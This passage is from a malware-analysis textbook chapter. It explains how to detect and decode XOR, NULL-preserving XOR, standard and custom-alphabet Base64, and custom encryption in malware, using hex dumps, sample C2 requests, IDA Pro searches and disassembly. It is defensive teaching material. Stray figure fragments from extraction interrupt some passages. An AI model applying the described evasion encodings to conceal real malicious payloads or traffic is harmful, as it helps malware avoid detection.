One of the first ciphers ever used was the Caesar cipher. The Caesar cipher 
was used during the Roman Empire to hide messages transported through 
battlefields by courier. It is a simple cipher formed by shifting the letters of 
the alphabet three characters to the right. For example, the following text 
shows a secret wartime message encrypted with the Caesar cipher:

ATTACK AT NOON
DWWDFN DW QRRQ
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XOR
The XOR cipher is a simple cipher that is similar to the Caesar cipher. 
XOR means exclusive OR and is a logical operation that can be used to 
modify bits.

An XOR cipher uses a static byte value and modifies each byte of plain-
text by performing a logical XOR operation with that value. For example, 
Figure 13-1 shows how the message ATTACK AT NOON would be encoded using an 
XOR with the byte 0x3C. Each character is represented by a cell, with the 
ASCII character (or control code) at the top, and the hex value of the char-
acter on the bottom.

Figure 13-1: The string ATTACK AT NOON encoded with an XOR of 0x3C (original string 
at the top; encoded strings at the bottom)

As you can see in this example, the XOR cipher often results in bytes that 
are not limited to printable characters (indicated here using shaded cells). 
The C  in ATTACK is translated to hex 0x7F, which is typically used to indicate 
the delete character. In the same vein, the space character is translated to 
hex 0x1C, which is typically used as a file separator.

The XOR cipher is convenient to use because it is both simple—requiring 
only a single machine-code instruction—and reversible.

A reversible cipher uses the same function to encode and decode. In 
order to decode something encoded with the XOR cipher, you simply repeat 
the XOR function with the same key used during encoding.

The implementation of XOR encoding we have been discussing—
where the key is the same for every encoded byte—is known as single-byte XOR 
encoding.

Brute-Forcing XOR Encoding

Imagine we are investigating a malware incident. We learn that seconds before 
the malware starts, two files are created in the browser’s cache directory. One 
of these files is an SWF file, which we assume is used to exploit the browser’s 
Flash plug-in. The other file is named a.gif, but it doesn’t appear to have a 
GIF header, which would start with the characters GIF87a or GIF89a. Instead, 
the a.gif  file begins with the bytes shown in Listing 13-1.

A TT A C K A T N O O N

0x41 0x54 0x54 0x41 0x41 0x540x43 0x4E 0x4F 0x4F 0x4E0x4B

} h h } DEL W FS

0x20 0x20

} H FS r s s r

0x7d 0x68 0x68 0x7d 0x7F 0x77 0x1C 0x7d 0x68 0x1C 0x72 0x720x71 0x71
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5F 48 42 12 10 12 12 12 16 12 1D 12 ED ED 12 12    _HB.............
AA 12 12 12 12 12 12 12 52 12 08 12 12 12 12 12    ........R.......
12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12    ................
12 12 12 12 12 12 12 12 12 12 12 12 12 13 12 12    ................
A8 02 12 1C 0D A6 1B DF 33 AA 13 5E DF 33 82 82    ........3..^.3..
46 7A 7B 61 32 62 60 7D 75 60 73 7F 32 7F 67 61    Fz{a2b`}u`s.2.ga

Listing 13-1: First bytes of XOR-encoded file a.gif

We suspect that this file may be an XOR-encoded executable, but how 
do we find out? One strategy that works with single-byte encoding is brute 
force.

Since there are only 256 possible values for each character in the file, it 
is easy and quick enough for a computer to try all of the possible 255 single-
byte keys XORed with the file header, and compare the output with the 
header you would expect for an executable file. The XOR encoding using 
each of 255 keys could be performed by a script, and Table 13-1 shows what 
the output of such a script might reveal.

Table 13-1 shows the first few bytes of the a.gif  file encoded with differ-
ent XOR keys. The goal of brute-forcing here is to try several different values 
for the XOR key until you see output that you recognize—in this case, an MZ 
header. The first column lists the value being used as the XOR key, the sec-
ond column shows the initial bytes of content as they are transformed, and 
the last column shows whether the suspected content has been found.

Notice in the last row of this table that using an XOR with 0x12 we find 
an MZ header. PE files begin with the letters MZ, and the hex characters for 
M and Z are 4d and 5a, respectively, the first two hex characters in this partic-
ular string.

Next, we examine a larger portion of the header, and we can now see 
other parts of the file, as shown in Listing 13-2.

Table 13-1: Brute-Force of XOR-Encoded Executable

XOR key value Initial bytes of file MZ header found?

Original 5F 48 42 12 10 12 12 12 16 12 1D 12 ED ED 12 No

XOR with 0x01 5e 49 43 13 11 13 13 13 17 13 1c 13 ec ec 13 No

XOR with 0x02 5d 4a 40 10 12 10 10 10 14 10 1f 10 ef ef 10 No

XOR with 0x03 5c 4b 41 11 13 11 11 11 15 11 1e 11 ee ee 11 No

XOR with 0x04 5b 4c 46 16 14 16 16 16 12 16 19 16 e9 e9 16 No

XOR with 0x05 5a 4d 47 17 15 17 17 17 13 17 18 17 e8 e8 17 No

... ... No

XOR with 0x12 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 Yes!
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4D 5A 50 00 02 00 00 00 04 00 0F 00 FF FF 00 00    MZP.............
B8 00 00 00 00 00 00 00 40 00 1A 00 00 00 00 00    ........@.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00    ................
BA 10 00 0E 1F B4 09 CD 21 B8 01 4C CD 21 90 90    ........!..L.!..
54 68 69 73 20 70 72 6F 67 72 61 6D 20 6D 75 73    This program mus

Listing 13-2: First bytes of the decrypted PE file

Here, we see the words This program mus. This is the start of the DOS stub, 
a common element within an executable file, which provides additional evi-
dence that this is indeed a PE file.

Brute-Forcing Many Files

Brute-forcing can also be used proactively. For example, if you want to search 
many files to check for XOR-encoded PE files, you could create 255 signa-
tures for all of the XOR combinations, focusing on elements of the file that 
you think might be present.

For example, say we want to search for single-byte XOR encodings of the 
string This program. It is common for a PE file header to contain a string such 
as This program must be run under Win32, or This program cannot be run in DOS. By 
generating all possible permutations of the original string with each possible 
XOR value, we come up with the set of signatures to search for, as shown in 
Table 13-2.

NULL-Preserving Single-Byte XOR Encoding

Look again at the encoded file shown in Listing 13-1. Notice how blatant the 
XOR key of 0x12 is, even at just a glance. Most of the bytes in the initial part 
of the header are 0x12! This demonstrates a particular weakness of single-
byte encoding: It lacks the ability to effectively hide from a user manually 
scanning encoded content with a hex editor. If the encoded content has a 
large number of NULL bytes, the single-byte “key” becomes obvious.

Table 13-2: Creating XOR Brute-Force Signatures

XOR key value “This program”

Original 54 68 69 73 20 70 72 6f 67 72 61 6d 20

XOR with 0x01 55 69 68 72 21 71 73 6e 66 73 60 6c 21

XOR with 0x02 56 6a 6b 71 22 72 70 6d 65 70 63 6f 22

XOR with 0x03 57 6b 6a 70 23 73 71 6c 64 71 62 6e 23

XOR with 0x04 50 6c 6d 77 24 74 76 6b 63 76 65 69 24

XOR with 0x05 51 6d 6c 76 25 75 77 6a 62 77 64 68 25

... ...

XOR with 0xFF ab 97 96 8c df 8f 8d 90 98 8d 9e 92 df
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Malware authors have actually developed a clever way to mitigate this 
issue by using a NULL-preserving single-byte XOR encoding scheme. Unlike 
the regular XOR encoding scheme, the NULL-preserving single-byte XOR 
scheme has two exceptions:

 If the plaintext character is NULL or the key itself, then the byte is 
skipped.

 If the plaintext character is neither NULL nor the key, then it is encoded 
via an XOR with the key.

As shown in Table 13-3, the code for this modified XOR is not much 
more complicated than the original.

In Table 13-3, the C code for the original XOR function is shown at left, 
and the NULL-preserving XOR function is on the right. So if the key is 0x12, 
then any 0x00 or 0x12 will not be transformed, but any other byte will be 
transformed via an XOR with 0x12. When a PE file is encoded in this fashion, 
the key with which it is encoded is much less visually apparent.

Now compare Listing 13-1 (with the obvious 0x12 key) with Listing 13-3. 
Listing 13-3 represents the same encoded PE file, encoded again with 0x12, 
but this time using the NULL-preserving single-byte XOR encoding. As you 
can see, with the NULL-preserving encoding, it is more difficult to identify 
the XOR encoding, and there is no evidence of the key.

5F 48 42 00 10 00 00 00 16 00 1D 00 ED ED 00 00    _HB.............
AA 00 00 00 00 00 00 00 52 00 08 00 00 00 00 00    ........R.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00 00 00 00 00 00 00 00 00 00 00 00 00 13 00 00    ................
A8 02 00 1C 0D A6 1B DF 33 AA 13 5E DF 33 82 82    ........3..^.3..
46 7A 7B 61 32 62 60 7D 75 60 73 7F 32 7F 67 61    Fz{a2b`}u`s.2.ga

Listing 13-3: First bytes of file with NULL-preserving XOR encoding

This NULL-preserving XOR technique is especially popular in shellcode, 
where it is important to be able to perform encoding with a very small 
amount of code.

Identifying XOR Loops in IDA Pro

Now imagine that you find the shellcode within the SWF file. You are dis-
assembling the shellcode in IDA Pro, and you want to find the XOR loop that 
you suspect exists to decode the associated a.gif file.

Table 13-3: Original vs. NULL-Preserving XOR Encoding Code

Original XOR NULL-preserving XOR

buf[i] ^= key; if (buf[i] != 0 && buf[i] != key)
    buf[i] ^= key;
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In disassembly, XOR loops can be identified by small loops with an XOR 
instruction in the middle of a loop. The easiest way to find an XOR loop in 
IDA Pro is to search for all instances of the XOR instruction, as follows: 

1. Make sure you are viewing code (the window title should contain 
“IDA View”).

2. Select SearchText.

3. In the Text Search dialog, enter xor, select the Find all occurrences 
checkbox, and then click OK. You should see a window like the one 
shown in Figure 13-2.

Figure 13-2: Searching for XOR in IDA Pro

Just because a search found an XOR instruction does not mean that the 
XOR instruction is being used for encoding. The XOR instruction can be 
used for different purposes. One of the uses of XOR is to clear the contents 
of a register. XOR instructions can be found in three forms:

 XOR of a register with itself

 XOR of a register (or memory reference) with a constant

 XOR of one register (or memory reference) with a different register (or 
memory reference)

The most prevalent form is the first, since an XOR of a register with 
itself is an efficient way to zero out a register. Fortunately, the clearing of a 
register is not related to data encoding, so you can ignore it. As you can see 
in Figure 13-2, most of the listed instructions are an XOR of a register with 
itself (such as xor edx,edx).

An XOR encoding loop may use either of the other two forms: an XOR 
of a register with a constant or an XOR of a register with a different register. 
If you are lucky, the XOR will be of a register with a constant, because that 
will confirm that you are probably seeing encoding, and you will know the 
key. The instruction xor edx,12h in Figure 13-2 is an example of this second 
form of XOR.

One of the signs of encoding is a small loop that contains the XOR 
function. Let’s look at the instruction we identified in Figure 13-2. As the 
IDA Pro flowchart in Figure 13-3 shows, the XOR with the 0x12 instruction 
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does appear to be a part of a small loop. You can also see that the block at 
loc_4012F4 increments a counter, and the block at loc_401301 checks to see 
whether the counter has exceeded a certain length.

Figure 13-3: Graphical view of single-byte XOR loop

Other Simple Encoding Schemes
Given the weaknesses of single-byte encoding, many malware authors have 
implemented slightly more involved (or just unexpected) encoding schemes 
that are less susceptible to brute-force detection but are still simple to imple-
ment. Table 13-4 briefly describes some of these encoding schemes. We won’t 
delve into the specifics of each of these techniques, but you should be aware 
of them so that you can recognize them if you see them.

Table 13-4: Additional Simple Encoding Algorithms

Encoding scheme Description

ADD, SUB Encoding algorithms can use ADD and SUB for individual bytes in a 
manner that is similar to XOR. ADD and SUB are not reversible, so they 
need to be used in tandem (one to encode and the other to decode).

ROL, ROR Instructions rotate the bits within a byte right or left. Like ADD and SUB, 
these need to be used together since they are not reversible.

ROT This is the original Caesar cipher. It’s commonly used with either alpha-
betical characters (A–Z and a–z) or the 94 printable characters in stan-
dard ASCII. 

Multibyte Instead of a single byte, an algorithm might use a longer key, often 4 or 
8 bytes in length. This typically uses XOR for each block for convenience.
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Base64
Base64 encoding is used to represent binary data in an ASCII string 
format. Base64 encoding is commonly found in malware, so you’ll need 
to know how to recognize it.

The term Base64 is taken from the Multipurpose Internet Mail Exten-
sions (MIME) standard. While originally developed to encode email attach-
ments for transmission, it is now widely used for HTTP and XML.

Base64 encoding converts binary data into a limited character set of 64 
characters. There are a number of schemes or alphabets for different types 
of Base64 encoding. They all use 64 primary characters and usually an addi-
tional character to indicate padding, which is often =.

The most common character set is MIME’s Base64, which uses A–Z, a–z, 
and 0–9 for the first 62 values, and +  and / for the last two values. As a result 
of squeezing the data into a smaller set of characters, Base64-encoded data 
ends up being longer than the original data. For every 3 bytes of binary data, 
there are at least 4 bytes of Base64-encoded data.

If you’ve ever seen a part of a raw email file like the one shown in 
Listing 13-4, you have seen Base64 encoding. Here, the top few lines show 
email headers followed by a blank line, with the Base64-encoded data at the 
bottom.

Content-Type: multipart/alternative;
    boundary="_002_4E36B98B966D7448815A3216ACF82AA201ED633ED1MBX3THNDRBIRD_" 
MIME-Version: 1.0
--_002_4E36B98B966D7448815A3216ACF82AA201ED633ED1MBX3THNDRBIRD_
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64

SWYgeW91IGFyZSByZWFkaW5nIHRoaXMsIHlvdSBwcm9iYWJseSBzaG91bGQganVzdCBza2lwIHRoaX
MgY2hhcHRlciBhbmQgZ28gdG8gdGhlIG5leHQgb25lLiBEbyB5b3UgcmVhbGx5IGhhdmUgdGhlIHRp
bWUgdG8gdHlwZSB0aGlzIHdob2xlIHN0cmluZyBpbj8gWW91IGFyZSBvYnZpb3VzbHkgdGFsZW50ZW
QuIE1heWJlIHlvdSBzaG91bGQgY29udGFjdCB0aGUgYXV0aG9ycyBhbmQgc2VlIGlmIH

Listing 13-4: Part of raw email message showing Base64 encoding

Transforming Data to Base64

The process of translating raw data to Base64 is fairly standard. It uses 24-bit 
(3-byte) chunks. The first character is placed in the most significant position, 
the second in the middle 8 bits, and the third in the least significant 8 bits. 
Next, bits are read in blocks of six, starting with the most significant. The 

Chained or
loopback

This algorithm uses the content itself as part of the key, with various imple-
mentations. Most commonly, the original key is applied at one side of the 
plaintext (start or end), and the encoded output character is used as the 
key for the next character.

Table 13-4: Additional Simple Encoding Algorithms (continued)

Encoding scheme Description
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number represented by the 6 bits is used as an index into a 64-byte long 
string with each of the allowed bytes in the Base64 scheme.

Figure 13-4 shows how the transformation happens. The top line is the 
original string (ATT). The second line is the hex representation of ATT at the 
nibble level (a nibble is 4 bits). The middle line shows the actual bits used 
to represent ATT. The fourth line is the value of the bits in each particular 
6-bit-long section as a decimal number. Finally, the last string is the charac-
ter used to represent the decimal number via the index into a reference 
string.

Figure 13-4: Base64 encoding of ATT

The letter A corresponds to the bits 01000001. The first 6 bits of the letter 
A (010000) are converted into a single Base64-encoded letter Q. The last two 
bits of the A (01) and the first four bits of the letter T (0101) are converted 
into the second Base64-encoded character, V (010101), and so on.

Decoding from Base64 to raw data follows the same process but in 
reverse. Each Base64 character is transformed to 6 bits, and all of the bits 
are placed in sequence. The bits are then read in groups of eight, with each 
group of eight defining the byte of raw data.

Identifying and Decoding Base64

Let’s say we are investigating malware that appears to have made the two 
HTTP GET requests shown in Listing 13-5.

GET /X29tbVEuYC8=/index.htm
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: www.practicalmalwareanalysis.com
Connection: Keep-Alive
Cookie: Ym90NTQxNjQ

GET /c2UsYi1kYWM0cnUjdFlvbiAjb21wbFU0YP==/index.htm
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: www.practicalmalwareanalysis.com
Connection: Keep-Alive
Cookie: Ym90NTQxNjQ

Listing 13-5: Sample malware traffic

With practice, it’s easy to identify Base64-encoded content. It appears 
as a random selection of characters, with the character set composed of the 
alphanumeric characters plus two other characters. One padding character 

Q V R U

A T T

0x4 0x1 0x5 0x4 0x5 0x4
0 1 0 0 0 0 0 1 0 1 0 1 0 1 0 0 0 1 0 1 0 1 0 0

16 21 17 20
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may be present at the end of an encoded string; if padded, the length of the 
encoded object will be divisible by four.

In Listing 13-5, it appears at first as if both the URL path and the Cookie 
are Base64-encoded values. While the Cookie value appears to remain constant, 
it looks like the attacker is sending two different encoded messages in the 
two GET requests.

A quick way to encode or decode using the Base64 standard is with an 
online tool such as the decoder found at http://www.opinionatedgeek.com/
dotnet/tools/base64decode/. Simply enter the Base64-encoded content into the 
top window and click the button labeled Decode Safely As Text. For example, 
Figure 13-5 shows what happens if we run the Cookie value through a Base64 
decoder.

Figure 13-5: Unsuccessful attempt to decode Base64 string

Remember how every three characters from the input becomes four 
characters in the output, and how the four-character output blocks are pad-
ded? How many characters are in the Cookie string? Since there are 11, we 
know that if this is a Base64 string, it is not correctly padded.

Technically, the padding characters are optional, and they are not essen-
tial to accurate decoding. Malware has been known to avoid using padding 
characters, presumably to appear less like Base64 or to avoid network signa-
tures. In Figure 13-6, we add the padding and try again:

Figure 13-6: Successful decoding of Base64 string 
due to addition of padding character

Apparently, the attacker is tracking his bots by giving them identification 
numbers and Base64-encoding that into a cookie.

In order to find the Base64 function in the malware, we can look for the 
64-byte long string typically used to implement the algorithm. The most com-
monly used string adheres to the MIME Base64 standard. Here it is:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

Because an implementation of Base64 typically uses indexing strings, 
code that contains Base64 encoding will often have this telltale string of 
64 characters. The Base64-indexing string is typically composed of printable 
characters (or it would defeat the intent of the algorithm), and can therefore 
be easily eyeballed in string output.

A secondary piece of evidence that can be used to confirm the use of a 
Base64-encoding algorithm is the existence of a lone padding character (typ-
ically =) hard-coded into the function that performs the encoding.

Next, let’s look at the URI values from Listing 13-5. Both strings have 
all the characteristics of Base64 encoding: a restricted, random-looking 

Ym90NTQxNjQ Error: invalid length for Base64 array

Ym90NTQxNjQ= bot54164
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character set, padded with = to a length divisible by four. Figure 13-7 shows 
what we find when we run them through a Base64 decoder.

Figure 13-7: Unsuccessful attempt to decode Base64 string due to nonstandard indexing 
string

Obviously, this is not standard Base64 encoding! One of the beautiful 
things about Base64 (at least from a malware author’s point of view) is how 
easy it is to develop a custom substitution cipher. The only item that needs to 
be changed is the indexing string, and it will have all the same desirable char-
acteristics as the standard Base64. As long as the string has 64 unique charac-
ters, it will work to create a custom substitution cipher.

One simple way to create a new indexing string is to relocate some of the 
characters to the front of the string. For example, the following string was 
created by moving the a character to the front of the string:

aABCDEFGHIJKLMNOPQRSTUVWXYZbcdefghijklmnopqrstuvwxyz0123456789+/

When this string is used with the Base64 algorithm, it essentially creates a 
new key for the encoded string, which is difficult to decode without knowl-
edge of this string. Malware uses this technique to make its output appear to 
be Base64, even though it cannot be decoded using the common Base64 
functions.

The malware that created the GET requests shown in Listing 13-5 used this 
custom substitution cipher. Looking again at the strings output, we see that 
we mistook the custom string for the standard one, since it looked so similar. 
The actual indexing string was the preceding one, with the a character moved 
to the front of the string. The attacker simply used the standard algorithm 
and changed the encoding string. In Figure 13-8, we try the decryption 
again, but this time with the new string.

Figure 13-8: Successful decoding of Base64 string using custom indexing string

Common Cryptographic Algorithms

Simple cipher schemes that are the equivalent of substitution ciphers differ 
greatly from modern cryptographic ciphers. Modern cryptography takes into 
account the exponentially increasing computing capabilities, and ensures 
that algorithms are designed to require so much computational power that 
breaking the cryptography is impractical.

X29tbVEuYC8= _ommQ.`/

c2UsYi1kYWM0cnUjdFlvbiAjb21wbFU0YP== se,b-dac4ru#tYon #omplU4`

X29tbVEuYC8= command?

c2UsYi1kYWM0cnUjdFlvbiAjb21wbFU0YP== self-destruction complete
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The simple cipher schemes we have discussed previously don’t even pre-
tend to be protected from brute-force measures. Their main purpose is to 
obscure. Cryptography has evolved and developed over time, and it is now 
integrated into every aspect of computer use, such as SSL in a web browser 
or the encryption used at a wireless access point. Why then, does malware not 
always take advantage of this cryptography for hiding its sensitive information?

Malware often uses simple cipher schemes because they are easy and 
often sufficient. Also, using standard cryptography does have potential draw-
backs, particularly with regard to malware:

 Cryptographic libraries can be large, so malware may need to statically 
integrate the code or link to existing code.

 Having to link to code that exists on the host may reduce portability.

 Standard cryptographic libraries are easily detected (via function imports, 
function matching, or the identification of cryptographic constants).

 Users of symmetric encryption algorithms need to worry about how to 
hide the key.

Many standard cryptographic algorithms rely on a strong key to store 
their secrets. The idea is that the algorithm itself is widely known, but with-
out the key, it is nearly impossible (that is, it would require a massive amount 
of work) to decrypt the cipher text. In order to ensure a sufficient amount of 
work for decrypting, the key must typically be long enough so that all of the 
potential keys cannot be easily tested. For the standard algorithms that mal-
ware might use, the trick is to identify not only the algorithm, but also the key.

There are several easy ways to identify the use of standard cryptography. 
They include looking for strings and imports that reference cryptographic 
functions and using several tools to search for specific content.

Recognizing Strings and Imports
One way to identify standard cryptographic algorithms is by recognizing 
strings that refer to the use of cryptography. This can occur when crypto-
graphic libraries such as OpenSSL are statically compiled into malware. For 
example, the following is a selection of strings taken from a piece of malware 
compiled with OpenSSL encryption:

OpenSSL 1.0.0a
SSLv3 part of OpenSSL 1.0.0a
TLSv1 part of OpenSSL 1.0.0a
SSLv2 part of OpenSSL 1.0.0a
You need to read the OpenSSL FAQ, http://www.openssl.org/support/faq.html
%s(%d): OpenSSL internal error, assertion failed: %s
AES for x86, CRYPTOGAMS by <appro@openssl.org>

Another way to look for standard cryptography is to identify imports that 
reference cryptographic functions. For example, Figure 13-9 is a screenshot 
from IDA Pro showing some cryptographic imports that provide services 
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related to hashing, key generation, and encryption. Most (though not all) 
of the Microsoft functions that pertain to cryptography start with Crypt, CP 
(for Cryptographic Provider), or Cert.

Figure 13-9: IDA Pro imports listing showing cryptographic functions

Searching for Cryptographic Constants
A third basic method of detecting cryptography is to use a tool that can 
search for commonly used cryptographic constants. Here, we’ll look at using 
IDA Pro’s FindCrypt2 and Krypto ANALyzer.

Using FindCrypt2

IDA Pro has a plug-in called FindCrypt2, included in the IDA Pro SDK 
(or available from http://www.hex-rays.com/idapro/freefiles/findcrypt.zip), which 
searches the program body for any of the constants known to be associated 
with cryptographic algorithms. This works well, since most cryptographic algo-
rithms employ some type of magic constant. A magic constant is some fixed 
string of bits that is associated with the essential structure of the algorithm.

NOTE Some cryptographic algorithms do not employ a magic constant. Notably, the Interna-
tional Data Encryption Algorithm (IDEA) and the RC4 algorithm build their struc-
tures on the fly, and thus are not in the list of algorithms that will be identified. 
Malware often employs the RC4 algorithm, probably because it is small and easy to 
implement in software, and it has no cryptographic constants to give it away.

FindCrypt2 runs automatically on any new analysis, or it can be run man-
ually from the plug-in menu. Figure 13-10 shows the IDA Pro output window 
with the results of running FindCrypt2 on a malicious DLL. As you can see, 
the malware contains a number of constants that begin with DES. By identify-
ing the functions that reference these constants, you can quickly get a handle 
on the functions that implement the cryptography.

Figure 13-10: IDA Pro FindCrypt2 output
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Using Krypto ANALyzer

A tool that uses the same principles as the FindCrypt2 IDA Pro plug-in is the 
Krypto ANALyzer (KANAL). KANAL is a plug-in for PEiD (http://www.peid
.has.it/) and has a wider range of constants (though as a result, it may tend to 
produce more false positives). In addition to constants, KANAL also recog-
nizes Base64 tables and cryptography-related function imports.

Figure 13-11 shows the PEiD window on the left and the KANAL plug-in 
window on the right. PEiD plug-ins can be run by clicking the arrow in the 
lower-right corner. When KANAL is run, it identifies constants, tables, and 
cryptography-related function imports in a list. Figure 13-11 shows KANAL 
finding a Base64 table, a CRC32 constant, and several Crypt... import func-
tions in malware.

Figure 13-11: PEiD and Krypto ANALyzer (KANAL) output

Searching for High-Entropy Content
Another way to identify the use of cryptography is to search for high-entropy 
content. In addition to potentially highlighting cryptographic constants or 
cryptographic keys, this technique can also identify encrypted content itself. 
Because of the broad reach of this technique, it is potentially applicable in 
cases where cryptographic constants are not found (like RC4).

WARNING The high-entropy content technique is fairly blunt and may best be used as a last resort. 
Many types of content—such as pictures, movies, audio files, and other compressed 
data—display high entropy and are indistinguishable from encrypted content except for 
their headers.

The IDA Entropy Plugin (http://www.smokedchicken.org/2010/06/ida-
entropy-plugin.html) is one tool that implements this technique for PE files. 
You can load the plug-in into IDA Pro by placing the ida-ent.plw file in the 
IDA Pro plug-ins directory.

Let’s use as our test case the same malware that showed signs of DES 
encryption from Figure 13-10. Once the file is loaded in IDA Pro, start the 
IDA Entropy Plugin. The initial window is the Entropy Calculator, which is 
shown as the left window in Figure 13-12. Any segment can be selected and 
analyzed individually. In this case, we are focused on a small portion of the 
rdata segment. The Deep Analyze button uses the parameters specified 
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(chunk size, step size, and maximum entropy) and scans the specified area 
for chunks that exceed the listed entropy. If you compare the output in Fig-
ure 13-10 with the results returned in the deep analysis results window in 
Figure 13-12, you will see that the same addresses around 0x100062A4 
are highlighted. The IDA Pro Entropy Plugin has found the DES constants 
(which indicates a high degree of entropy) with no knowledge of the con-
stants themselves!

Figure 13-12: IDA Pro Entropy Plugin

In order to use entropy testing effectively, it is important to understand 
the dependency between the chunk size and entropy score. The setting shown 
in Figure 13-12 (chunk size of 64 with maximum entropy of 5.95) is actually 
a good generic test that will find many types of constants, and will actually 
locate any Base64-encoding string as well (even ones that are nonstandard).

A 64-byte string with 64 distinct byte values has the highest possible 
entropy value. The 64 values are related to the entropy value of 6 (which 
refers to 6 bits of entropy), since the number of values that can be expressed 
with 6 bits is 64.

Another setting that can be useful is a chunk size of 256 with entropy 
above 7.9. This means that there is a string of 256 consecutive bytes, reflect-
ing nearly all 256 possible byte values.

The IDA Pro Entropy Plugin also has a tool that provides a graphical 
overview of the area of interest, which can be used to guide the values you 
should select for the maximum entropy score, and also helps to determine 
where to focus. The Draw button produces a graph that shows higher-entropy 
regions as lighter bars and lower-entropy regions as darker bars. By hovering 
over the graph with the mouse cursor, you can see the raw entropy scores for 
that specific spot on the graph. Because the entropy map is difficult to appre-
ciate in printed form, a line graph of the same file is included in Figure 13-13 
to illustrate how the entropy map can be useful.

The graph in Figure 13-13 was generated using the same chunk size of 
64. The graph shows only high values, from 4.8 to 6.2. Recall that the maxi-
mum entropy value for that chunk size is 6. Notice the spike that reaches 6 
above the number 25000. This is the same area of the file that contains the 
DES constants highlighted in Figures 13-10 and 13-12.
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Figure 13-13: Entropy graph for a malicious executable

A couple of other features stand out. One is the plateau between blocks 
4000 and 22000. This represents the actual code, and it is typical of code to 
reach an entropy value of this level. Code is typically contiguous, so it will 
form a series of connected peaks.

A more interesting feature is the spike at the end of the file to about 5.5. 
The fact that it is a fairly high value unconnected with any other peaks makes 
it stand out. When analyzed, it is found to be DES-encrypted configuration 
data for the malware, which hides its command-and-control information.

Custom Encoding

Malware often uses homegrown encoding schemes. One such scheme is to 
layer multiple simple encoding methods. For example, malware may per-
form one round of XOR encryption and then afterward perform Base64 
encoding on the result. Another type of scheme is to simply develop a cus-
tom algorithm, possibly with similarities to a standard published crypto-
graphic algorithm.

Identifying Custom Encoding
We have discussed a variety of ways to identify common cryptography and 
encoding functions within malware when there are easily identifiable strings 
or constants. In many cases, the techniques already discussed can assist with 
finding custom cryptographic techniques. If there are no obvious signs, how-
ever, the job becomes more difficult.

For example, say we find malware with a bunch of encrypted files in the 
same directory, each roughly 700KB in size. Listing 13-6 shows the initial 
bytes of one of these files.

Code

DES
constants

Encrypted
configuration
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88 5B D9 02 EB 07 5D 3A 8A 06 1E 67 D2 16 93 7F    .[....]:...g....
43 72 1B A4 BA B9 85 B7 74 1C 6D 03 1E AF 67 AF    Cr......t.m...g.
98 F6 47 36 57 AA 8E C5 1D 70 A5 CB 38 ED 22 19    ..G6W....p..8.".
86 29 98 2D 69 62 9E C0 4B 4F 8B 05 A0 71 08 50    .).-ib..KO...q.P
92 A0 C3 58 4A 48 E4 A3 0A 39 7B 8A 3C 2D 00 9E    ...XJH...9{.<-..

Listing 13-6: First bytes of an encrypted file

We use the tools described thus far, but find no obvious answer. There 
are no strings that provide any indication of cryptography. FindCrypt2 and 
KANAL both fail to find any cryptographic constants. The tests for high 
entropy find nothing that stands out. The only test that finds any hint is a 
search for XOR, which finds a single xor ebx, eax instruction. For the sake 
of the exercise, let’s ignore this detail for now.

Finding the encoding algorithm the hard way entails tracing the thread 
of execution from the suspicious input or output. Inputs and outputs can be 
treated as generic categories. No matter whether the malware sends a network 
packet, writes to a file, or writes to standard output, those are all outputs. If 
outputs are suspected of containing encoded data, then the encoding func-
tion will occur prior to the output.

Conversely, decoding will occur after an input. For example, say you iden-
tify an input function. You first identify the data elements that are affected by 
the input, and then follow the execution path forward, looking into only new 
functions that have access to the data element in question. If you reach the end 
of a function, you continue in the calling function from where the call took 
place, again noting the data location. In most cases, the decryption function 
will not be far from the input function. Output functions are similar, except 
that the tracing must be done opposite the flow of execution.

In our example, the assumed output is the encrypted files that we found 
in the same directory as the malware. Looking at the imports for the mal-
ware, we see that CreateFileA and WriteFile exist in the malware, and both are 
in the function labeled sub_4011A9. This is also the function that happens to 
contain that single XOR function.

The function graph for a portion of sub_4011A9 is shown in Figure 13-14. 
Notice the WriteFile call on the right in the block labeled loc_40122a. Also 
notice that the xor ebx, eax instruction is in the loop that may occur just 
before the write block (loc_40122a).

The left-hand block contains a call to sub_40112F, and at the end of the 
block, we see a counter incremented by 1 (the counter has the label var_4). 
After the call to sub_40112F, we see the return value in EAX used in an XOR 
operation with EBX. At this point, the results of the XOR function are in bl 
(the low byte of EBX). The byte value in bl is then written to the buffer (at 
lpBuffer plus the current counter).

Putting all of these pieces of evidence together, a good guess is that the 
call to sub_40112F is a call to get a single pseudorandom byte, which is XORed 
with the current byte of the buffer. The buffer is labeled lpBuffer, since it is 
used later in the WriteFile function. sub_40112F does not appear to have any 
parameters, and seems to return only a single byte in EAX.
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Figure 13-14: Function graph showing an encrypted write

Figure 13-15 shows the relationships among the encryption functions. 
Notice the relationship between sub_40106C and sub_40112F, which both have 
a common subroutine. sub_40106C also has no parameters and will always 
occur before the call to sub_40112F. If sub_40106C is an initialization function 
for the cryptographic routine, then it should share some global variables 
with sub_40112F.

Figure 13-15: Connected encryption function

loc_40122A:             ; lpOverlapped
push    0
lea     edx, [ebp+NumberOfBytesWritten]
push    edx             ; lpNumberOfBytesWritten
mov     eax, [ebp+nNumberOfBytesToWrite]
push    eax             ; nNumberOfBytesToWrite
mov     ecx, [ebp+lpBuffer]
push    ecx             ; lpBuffer
mov     edx, [ebp+hObject]
push    edx             ; hFile
call    ds:WriteFile
mov     [ebp+var_8], eax
cmp     [ebp+var_8], 0
jz      short loc_401253

loc_4011F5:
call    sub_40106C

loc_4011FA:
mov     ecx, [ebp+var_4]
cmp     ecx, [ebp+nNumberOfBytesToWrite]
jnb     short loc_40122A

mov     edx, [ebp+lpBuffer]
add     edx, [ebp+var_4]
movsx   ebx, byte ptr [edx]
call    sub_40112F
and     eax, 0FFh
xor     ebx, eax
mov     eax, [ebp+lpBuffer]
add     eax, [ebp+var_4]
mov     [eax], bl
mov     ecx, [ebp+var_4]
add     ecx, 1
mov     [ebp+var_4], ecx
jmp     short loc_4011FA

WriteFile sub_40106C CreateFileA CloseHandle sub_40112F

sub_40103E

sub_4011A9
